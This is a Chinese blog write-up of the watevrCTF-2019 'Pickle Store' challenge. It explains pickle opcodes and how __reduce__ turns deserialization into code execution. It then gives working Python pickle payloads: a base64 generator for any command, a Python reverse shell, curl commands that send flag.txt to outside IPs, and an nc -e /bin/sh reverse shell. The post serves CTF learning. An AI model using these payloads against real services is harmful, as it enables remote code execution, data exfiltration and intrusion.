[watevrCTF-2019]Pickle Store【Pickle反序列化】

一进来看看Cookie处,果然又是一个session

gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu

尝试base64解码:发现一些可疑的字符,这里我就卡住了不知道是什么加密的
在这里插入图片描述
看师傅们操作发现这是将pickle序列化的字符串进行base64编码,Pickle反序列化,又是一个新知识点

Pickle反序列化

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:
指令处理器
从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。
最终留在栈顶的值将被作为反序列化对象返回。
stack
由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
memo
由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

pickle.dumps(obj):
把 obj 对象序列化后以 bytes 对象返回,不写入文件

pickle.loads(bytes_object):
从 bytes 对象中读取一个反序列化对象,并返回其重组后的对象

简单字符类型的反序列化
import pickle

data="DMIND"
p1=pickle.dumps(data)# dumps 序列化
print(p1)
p2=pickle.loads(p1) # loads 反序列化 
print(p2)

输出:
b'\x80\x03X\x05\x00\x00\x00DMINDq\x00.'
DMIND

观察b'\x80\x03X\x05\x00\x00\x00DMINDq\x00.'

1.\x80:表示一个操作码,同时声明pickle的版本

2.\x03:代表版本为3

3.X:从个X后的四个字节表示一个数字,\x05\x00\x00\x00表示5,指的是后面UTF8编码的字符串的长度

4.DMIND即UTF8编码过的字符串

5.q

这个没有查到详细的说明,看注释上的字面意思是后面即\x00是一个字节的参数,但也不知道这个有什么用,我猜测它是用来给参数做索引用的,索引存储在momo区,如果不需要用到取数据,可以把q\x00删掉,这并不影响反序列化

6.\x00:表示结束

类的反序列化
import pickle

class DMIND:
  DD='ok'
  def hello(self):
    return self.DD

obj=DMIND()
p1=pickle.dumps(obj) # 序列化
print(p1)

p2=pickle.loads(p1) # 反序列化
print(p2)

输出:
b'\x80\x03c__main__\nDMIND\nq\x00)\x81q\x01.'
<__main__.DMIND object at 0x000001C022659048>

观察b'\x80\x03c__main__\nDMIND\nq\x00)\x81q\x01.'

1.\x80 \x03和前面说的一样

2.c:表示导入模块中的标识符

3.__main__\nDMIND:模块和标识符之间用\n隔开,那么这里的意思就是导入了main模块中的D类

4.q\x00:代表了DMIND类 在 memo的索引

5.) :在栈上建立一个新的tuple,这个tuple存储的是新建对象时需要提供的参数,因为本例中不需要参数,所以这个tuple为空

6.\x81:操作符,该操作符调用cls.__new__方法来建立对象,该方法接受前面tuple中的参数,本例中为空

__reduce__

这个方法用来表明类的对象应当如何序列化

__reduce__() 方法不带任何参数,并且应返回字符串或最好返回一个元组(返回的对象通常称为“reduce 值”)

通过上面官方文档 的表述可知改魔术方法有两种返回值:1.字符串、 2.元组

如果返回类型是:元组,则应当包含 2 到 6 个元素,可选元素可以省略或设置为 None。
第一个元素是一个可调用对象
第二个元素作为第一个元素的参数使用。其是一个元组。如果可调用对象(即第一个元素)不接受参数,必须提供一个空元组。
其它元素皆为可选元素,详情看官方文档

注意__reduce__魔术方法的返回值是tuple类型时就可以实现任意代码执行

import pickle
import os
class A(object):
    def __reduce__(self):
        cmd = "whoami"  #命令
        return (os.system,(cmd,))

a = A()
pickle_a = pickle.dumps(a)#序列化
print(pickle_a)
pickle.loads(pickle_a) #反序列化时触发了代码执行

只要执行反序列化操作就触发了代码执行
在这里插入图片描述

命令行下输入命令:
import pickle 
import sys
import base64
import os

COMMAND = sys.argv[1] #接收命令行中的第一个参数

class PickleRce(object):
    def __reduce__(self):

        return (os.system,(COMMAND,))

print (base64.b64encode(pickle.dumps(PickleRce())))

放到命令行执行,得到经过base64编码过的序列化字符串
在这里插入图片描述

python下反弹shell
import pickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,)) 

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)

回到本题,我们利用__reduce__来执行命令
现在关键的是用什么命令了

一、curl+base64

这是自己最常用的,简单,哈哈

import pickle
import base64
class A(object):
  def __reduce__(self):
    return (eval,("__import__('os').system('curl http://119.xxx.xxx.xxx/`cat flag.txt|base64`')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
二、curl -d

-d参数可以读取本地文本文件的数据,向服务器发送。

这是将 flag.txt 通过POST请求发送

import pickle
import base64
class A(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('curl -d @flag.txt 174.0.157.204:2333')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
三、nc 反弹shell
import base64
import pickle

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc 119.29.60.71 9999 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

本题看师傅还有另外一种不出网的解法:python反序列化覆盖秘钥,本菜鸡暂时不管另外一种了…

参考
利用python反序列化覆盖秘钥——watevrCTF-2019:Pickle Store的第二种解法

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值